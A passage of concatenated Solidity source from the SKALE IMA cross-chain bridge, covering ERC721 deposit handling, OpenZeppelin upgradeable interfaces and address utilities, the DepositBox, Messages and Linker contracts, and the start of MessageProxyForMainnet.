* Emits an {ERC721TokenAdded} event.
*/
function _receiveERC721(
string calldata schainName,
address erc721OnMainnet,
address to,
uint256 tokenId
)
private
returns (bytes memory data)
{
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
bool isERC721AddedToSchain = schainToERC721[schainHash][erc721OnMainnet];
if (!isERC721AddedToSchain) {
require(!isWhitelisted(schainName), "Whitelist is enabled");
_addERC721ForSchain(schainName, erc721OnMainnet);
data = Messages.encodeTransferErc721AndTokenInfoMessage(
erc721OnMainnet,
to,
tokenId,
_getTokenInfo(IERC721MetadataUpgradeable(erc721OnMainnet))
);
} else {
data = Messages.encodeTransferErc721Message(erc721OnMainnet, to, tokenId);
}
emit ERC721TokenReady(erc721OnMainnet, tokenId);
}
/**
* @dev Allows ERC721ModuleForMainnet to add an ERC721 token to
* LockAndDataForMainnetERC721.
*/
function _addERC721ForSchain(string calldata schainName, address erc721OnMainnet) private {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(erc721OnMainnet.isContract(), "Given address is not a contract");
schainToERC721[schainHash][erc721OnMainnet] = true;
emit ERC721TokenAdded(schainName, erc721OnMainnet);
}
function _getTokenInfo(IERC721MetadataUpgradeable erc721) private view returns (Messages.Erc721TokenInfo memory) {
return Messages.Erc721TokenInfo({
name: erc721.name(),
symbol: erc721.symbol()
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* DepositBox.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
* @author Dmytro Stebaiev
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "./Linker.sol";
import "./MessageProxyForMainnet.sol";
/**
* @title ProxyConnectorMainnet - connected module for Upgradeable approach, knows ContractManager
* @author Artem Payvin
*/
abstract contract DepositBox is IGasReimbursable, Twin {
Linker public linker;
mapping(bytes32 => bool) private _automaticDeploy;
bytes32 public constant DEPOSIT_BOX_MANAGER_ROLE = keccak256("DEPOSIT_BOX_MANAGER_ROLE");
modifier whenNotKilled(bytes32 schainHash) {
require(linker.isNotKilled(schainHash), "Schain is killed");
_;
}
modifier whenKilled(bytes32 schainHash) {
require(!linker.isNotKilled(schainHash), "Schain is not killed");
_;
}
modifier rightTransaction(string memory schainName, address to) {
require(
keccak256(abi.encodePacked(schainName)) != keccak256(abi.encodePacked("Mainnet")),
"SKALE chain name cannot be Mainnet"
);
require(to != address(0), "Receiver address cannot be null");
_;
}
modifier checkReceiverChain(bytes32 schainHash, address sender) {
require(
schainHash != keccak256(abi.encodePacked("Mainnet")) &&
sender == schainLinks[schainHash],
"Receiver chain is incorrect"
);
_;
}
/**
* @dev Allows Schain owner turn on whitelist of tokens.
*/
function enableWhitelist(string memory schainName) external onlySchainOwner(schainName) {
_automaticDeploy[keccak256(abi.encodePacked(schainName))] = false;
}
/**
* @dev Allows Schain owner turn off whitelist of tokens.
*/
function disableWhitelist(string memory schainName) external onlySchainOwner(schainName) {
_automaticDeploy[keccak256(abi.encodePacked(schainName))] = true;
}
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
Linker newLinker,
MessageProxyForMainnet messageProxyValue
)
public
virtual
initializer
{
Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue);
_setupRole(LINKER_ROLE, address(newLinker));
linker = newLinker;
}
/**
* @dev Returns is whitelist enabled on schain
*/
function isWhitelisted(string memory schainName) public view returns (bool) {
return !_automaticDeploy[keccak256(abi.encodePacked(schainName))];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Messages.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaeiv
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
library Messages {
enum MessageType {
EMPTY,
TRANSFER_ETH,
TRANSFER_ERC20,
TRANSFER_ERC20_AND_TOTAL_SUPPLY,
TRANSFER_ERC20_AND_TOKEN_INFO,
TRANSFER_ERC721,
TRANSFER_ERC721_AND_TOKEN_INFO,
USER_STATUS,
INTERCHAIN_CONNECTION,
TRANSFER_ERC1155,
TRANSFER_ERC1155_AND_TOKEN_INFO,
TRANSFER_ERC1155_BATCH,
TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO
}
struct BaseMessage {
MessageType messageType;
}
struct TransferEthMessage {
BaseMessage message;
address receiver;
uint256 amount;
}
struct UserStatusMessage {
BaseMessage message;
address receiver;
bool isActive;
}
struct TransferErc20Message {
BaseMessage message;
address token;
address receiver;
uint256 amount;
}
struct Erc20TokenInfo {
string name;
uint8 decimals;
string symbol;
}
struct TransferErc20AndTotalSupplyMessage {
TransferErc20Message baseErc20transfer;
uint256 totalSupply;
}
struct TransferErc20AndTokenInfoMessage {
TransferErc20Message baseErc20transfer;
uint256 totalSupply;
Erc20TokenInfo tokenInfo;
}
struct TransferErc721Message {
BaseMessage message;
address token;
address receiver;
uint256 tokenId;
}
struct Erc721TokenInfo {
string name;
string symbol;
}
struct TransferErc721AndTokenInfoMessage {
TransferErc721Message baseErc721transfer;
Erc721TokenInfo tokenInfo;
}
struct InterchainConnectionMessage {
BaseMessage message;
bool isAllowed;
}
struct TransferErc1155Message {
BaseMessage message;
address token;
address receiver;
uint256 id;
uint256 amount;
}
struct TransferErc1155BatchMessage {
BaseMessage message;
address token;
address receiver;
uint256[] ids;
uint256[] amounts;
}
struct Erc1155TokenInfo {
string uri;
}
struct TransferErc1155AndTokenInfoMessage {
TransferErc1155Message baseErc1155transfer;
Erc1155TokenInfo tokenInfo;
}
struct TransferErc1155BatchAndTokenInfoMessage {
TransferErc1155BatchMessage baseErc1155Batchtransfer;
Erc1155TokenInfo tokenInfo;
}
function getMessageType(bytes calldata data) internal pure returns (MessageType) {
uint256 firstWord = abi.decode(data, (uint256));
if (firstWord % 32 == 0) {
return getMessageType(data[firstWord:]);
} else {
return abi.decode(data, (Messages.MessageType));
}
}
function encodeTransferEthMessage(address receiver, uint256 amount) internal pure returns (bytes memory) {
TransferEthMessage memory message = TransferEthMessage(
BaseMessage(MessageType.TRANSFER_ETH),
receiver,
amount
);
return abi.encode(message);
}
function decodeTransferEthMessage(
bytes calldata data
) internal pure returns (TransferEthMessage memory) {
require(getMessageType(data) == MessageType.TRANSFER_ETH, "Message type is not ETH transfer");
return abi.decode(data, (TransferEthMessage));
}
function encodeTransferErc20Message(
address token,
address receiver,
uint256 amount
) internal pure returns (bytes memory) {
TransferErc20Message memory message = TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20),
token,
receiver,
amount
);
return abi.encode(message);
}
function encodeTransferErc20AndTotalSupplyMessage(
address token,
address receiver,
uint256 amount,
uint256 totalSupply
) internal pure returns (bytes memory) {
TransferErc20AndTotalSupplyMessage memory message = TransferErc20AndTotalSupplyMessage(
TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY),
token,
receiver,
amount
),
totalSupply
);
return abi.encode(message);
}
function decodeTransferErc20Message(
bytes calldata data
) internal pure returns (TransferErc20Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC20, "Message type is not ERC20 transfer");
return abi.decode(data, (TransferErc20Message));
}
function decodeTransferErc20AndTotalSupplyMessage(
bytes calldata data
) internal pure returns (TransferErc20AndTotalSupplyMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY,
"Message type is not ERC20 transfer and total supply"
);
return abi.decode(data, (TransferErc20AndTotalSupplyMessage));
}
function encodeTransferErc20AndTokenInfoMessage(
address token,
address receiver,
uint256 amount,
uint256 totalSupply,
Erc20TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc20AndTokenInfoMessage memory message = TransferErc20AndTokenInfoMessage(
TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20_AND_TOKEN_INFO),
token,
receiver,
amount
),
totalSupply,
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc20AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc20AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOKEN_INFO,
"Message type is not ERC20 transfer with token info"
);
return abi.decode(data, (TransferErc20AndTokenInfoMessage));
}
function encodeTransferErc721Message(
address token,
address receiver,
uint256 tokenId
) internal pure returns (bytes memory) {
TransferErc721Message memory message = TransferErc721Message(
BaseMessage(MessageType.TRANSFER_ERC721),
token,
receiver,
tokenId
);
return abi.encode(message);
}
function decodeTransferErc721Message(
bytes calldata data
) internal pure returns (TransferErc721Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC721, "Message type is not ERC721 transfer");
return abi.decode(data, (TransferErc721Message));
}
function encodeTransferErc721AndTokenInfoMessage(
address token,
address receiver,
uint256 tokenId,
Erc721TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc721AndTokenInfoMessage memory message = TransferErc721AndTokenInfoMessage(
TransferErc721Message(
BaseMessage(MessageType.TRANSFER_ERC721_AND_TOKEN_INFO),
token,
receiver,
tokenId
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc721AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc721AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC721_AND_TOKEN_INFO,
"Message type is not ERC721 transfer with token info"
);
return abi.decode(data, (TransferErc721AndTokenInfoMessage));
}
function encodeActivateUserMessage(address receiver) internal pure returns (bytes memory){
return _encodeUserStatusMessage(receiver, true);
}
function encodeLockUserMessage(address receiver) internal pure returns (bytes memory){
return _encodeUserStatusMessage(receiver, false);
}
function decodeUserStatusMessage(bytes calldata data) internal pure returns (UserStatusMessage memory) {
require(getMessageType(data) == MessageType.USER_STATUS, "Message type is not User Status");
return abi.decode(data, (UserStatusMessage));
}
function encodeInterchainConnectionMessage(bool isAllowed) internal pure returns (bytes memory) {
InterchainConnectionMessage memory message = InterchainConnectionMessage(
BaseMessage(MessageType.INTERCHAIN_CONNECTION),
isAllowed
);
return abi.encode(message);
}
function decodeInterchainConnectionMessage(bytes calldata data)
internal
pure
returns (InterchainConnectionMessage memory)
{
require(getMessageType(data) == MessageType.INTERCHAIN_CONNECTION, "Message type is not Interchain connection");
return abi.decode(data, (InterchainConnectionMessage));
}
function encodeTransferErc1155Message(
address token,
address receiver,
uint256 id,
uint256 amount
) internal pure returns (bytes memory) {
TransferErc1155Message memory message = TransferErc1155Message(
BaseMessage(MessageType.TRANSFER_ERC1155),
token,
receiver,
id,
amount
);
return abi.encode(message);
}
function decodeTransferErc1155Message(
bytes calldata data
) internal pure returns (TransferErc1155Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC1155, "Message type is not ERC1155 transfer");
return abi.decode(data, (TransferErc1155Message));
}
function encodeTransferErc1155AndTokenInfoMessage(
address token,
address receiver,
uint256 id,
uint256 amount,
Erc1155TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc1155AndTokenInfoMessage memory message = TransferErc1155AndTokenInfoMessage(
TransferErc1155Message(
BaseMessage(MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO),
token,
receiver,
id,
amount
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc1155AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc1155AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO,
"Message type is not ERC1155AndTokenInfo transfer"
);
return abi.decode(data, (TransferErc1155AndTokenInfoMessage));
}
function encodeTransferErc1155BatchMessage(
address token,
address receiver,
uint256[] memory ids,
uint256[] memory amounts
) internal pure returns (bytes memory) {
TransferErc1155BatchMessage memory message = TransferErc1155BatchMessage(
BaseMessage(MessageType.TRANSFER_ERC1155_BATCH),
token,
receiver,
ids,
amounts
);
return abi.encode(message);
}
function decodeTransferErc1155BatchMessage(
bytes calldata data
) internal pure returns (TransferErc1155BatchMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH,
"Message type is not ERC1155Batch transfer"
);
return abi.decode(data, (TransferErc1155BatchMessage));
}
function encodeTransferErc1155BatchAndTokenInfoMessage(
address token,
address receiver,
uint256[] memory ids,
uint256[] memory amounts,
Erc1155TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc1155BatchAndTokenInfoMessage memory message = TransferErc1155BatchAndTokenInfoMessage(
TransferErc1155BatchMessage(
BaseMessage(MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO),
token,
receiver,
ids,
amounts
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc1155BatchAndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc1155BatchAndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO,
"Message type is not ERC1155BatchAndTokenInfo transfer"
);
return abi.decode(data, (TransferErc1155BatchAndTokenInfoMessage));
}
function _encodeUserStatusMessage(address receiver, bool isActive) private pure returns (bytes memory) {
UserStatusMessage memory message = UserStatusMessage(
BaseMessage(MessageType.USER_STATUS),
receiver,
isActive
);
return abi.encode(message);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Linker.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../Messages.sol";
import "./Twin.sol";
import "./MessageProxyForMainnet.sol";
/**
* @title Linker For Mainnet
* @dev Runs on Mainnet, holds deposited ETH, and contains mappings and
* balances of ETH tokens received through DepositBox.
*/
contract Linker is Twin {
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
enum KillProcess {NotKilled, PartiallyKilledBySchainOwner, PartiallyKilledByContractOwner, Killed}
EnumerableSetUpgradeable.AddressSet private _mainnetContracts;
mapping(bytes32 => bool) public interchainConnections;
mapping(bytes32 => KillProcess) public statuses;
modifier onlyLinker() {
require(hasRole(LINKER_ROLE, msg.sender), "Linker role is required");
_;
}
function registerMainnetContract(address newMainnetContract) external onlyLinker {
require(_mainnetContracts.add(newMainnetContract), "The contracts was not registered");
}
function removeMainnetContract(address mainnetContract) external onlyLinker {
require(_mainnetContracts.remove(mainnetContract), "The contract was not removed");
}
function connectSchain(string calldata schainName, address[] calldata schainContracts) external onlyLinker {
require(schainContracts.length == _mainnetContracts.length(), "Incorrect number of addresses");
for (uint i = 0; i < schainContracts.length; i++) {
Twin(_mainnetContracts.at(i)).addSchainContract(schainName, schainContracts[i]);
}
messageProxy.addConnectedChain(schainName);
}
function allowInterchainConnections(string calldata schainName) external onlySchainOwner(schainName) {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(statuses[schainHash] == KillProcess.NotKilled, "Schain is in kill process");
interchainConnections[schainHash] = true;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeInterchainConnectionMessage(true)
);
}
function kill(string calldata schainName) external {
require(!interchainConnections[keccak256(abi.encodePacked(schainName))], "Interchain connections turned on");
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
if (statuses[schainHash] == KillProcess.NotKilled) {
if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) {
statuses[schainHash] = KillProcess.PartiallyKilledByContractOwner;
} else if (isSchainOwner(msg.sender, schainHash)) {
statuses[schainHash] = KillProcess.PartiallyKilledBySchainOwner;
} else {
revert("Not allowed");
}
} else if (
(
statuses[schainHash] == KillProcess.PartiallyKilledBySchainOwner &&
hasRole(DEFAULT_ADMIN_ROLE, msg.sender)
) || (
statuses[schainHash] == KillProcess.PartiallyKilledByContractOwner &&
isSchainOwner(msg.sender, schainHash)
)
) {
statuses[schainHash] = KillProcess.Killed;
} else {
revert("Already killed or incorrect sender");
}
}
function disconnectSchain(string calldata schainName) external onlyLinker {
uint length = _mainnetContracts.length();
for (uint i = 0; i < length; i++) {
Twin(_mainnetContracts.at(i)).removeSchainContract(schainName);
}
messageProxy.removeConnectedChain(schainName);
}
function isNotKilled(bytes32 schainHash) external view returns (bool) {
return statuses[schainHash] != KillProcess.Killed;
}
function hasMainnetContract(address mainnetContract) external view returns (bool) {
return _mainnetContracts.contains(mainnetContract);
}
function hasSchain(string calldata schainName) external view returns (bool connected) {
uint length = _mainnetContracts.length();
connected = messageProxy.isConnectedChain(schainName);
for (uint i = 0; connected && i < length; i++) {
connected = connected && Twin(_mainnetContracts.at(i)).hasSchainContract(schainName);
}
}
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
MessageProxyForMainnet messageProxyValue
)
public
override
initializer
{
Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue);
_setupRole(LINKER_ROLE, msg.sender);
_setupRole(LINKER_ROLE, address(this));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* MessageProxyForMainnet.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2019-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "@skalenetwork/skale-manager-interfaces/ISchains.sol";
import "../MessageProxy.sol";
import "./SkaleManagerClient.sol";
import "./CommunityPool.sol";
/**
* @title Message Proxy for Mainnet
* @dev Runs on Mainnet, contains functions to manage the incoming messages from
* `targetSchainName` and outgoing messages to `fromSchainName`. Every SKALE chain with
* IMA is therefore connected to MessageProxyForMainnet.
*
* Messages from SKALE chains are signed using BLS threshold signatures from the
* nodes in the chain. Since Ethereum Mainnet has no BLS public key, mainnet
* messages do not need to be signed.
*/
contract MessageProxyForMainnet is SkaleManagerClient, MessageProxy {
using AddressUpgradeable for address;
/**
* 16 Agents
* Synchronize time with time.nist.gov
* Every agent checks if it is his time slot
* Time slots are in increments of 10 seconds
* At the start of his slot each agent:
* For each connected schain:
* Read incoming counter on the dst chain
* Read outgoing counter on the src chain
* Calculate the difference outgoing - incoming
* Call postIncomingMessages function passing (un)signed message array
* ID of this schain, Chain 0 represents ETH mainnet,
*/
CommunityPool public communityPool;
uint256 public headerMessageGasCost;
uint256 public messageGasCost;
event GasCostMessageHeaderWasChanged(
uint256 oldValue,
uint256 newValue
);
event GasCostMessageWasChanged(
uint256 oldValue,
uint256 newValue
);
/**
* @dev Allows LockAndData to add a `schainName`.
*
* Requirements:
*
* - `msg.sender` must be SKALE Node address.
* - `schainName` must not be "Mainnet".
* - `schainName` must not already be added.
*/
function addConnectedChain(string calldata schainName) external override {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(schainHash != MAINNET_HASH, "SKALE chain name is incorrect");
_addConnectedChain(schainHash);
}
function setCommunityPool(CommunityPool newCommunityPoolAddress) external {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not authorized caller");
require(address(newCommunityPoolAddress) != address(0), "CommunityPool address has to be set");
communityPool = newCommunityPoolAddress;
}
function registerExtraContract(string memory schainName, address extraContract) external {
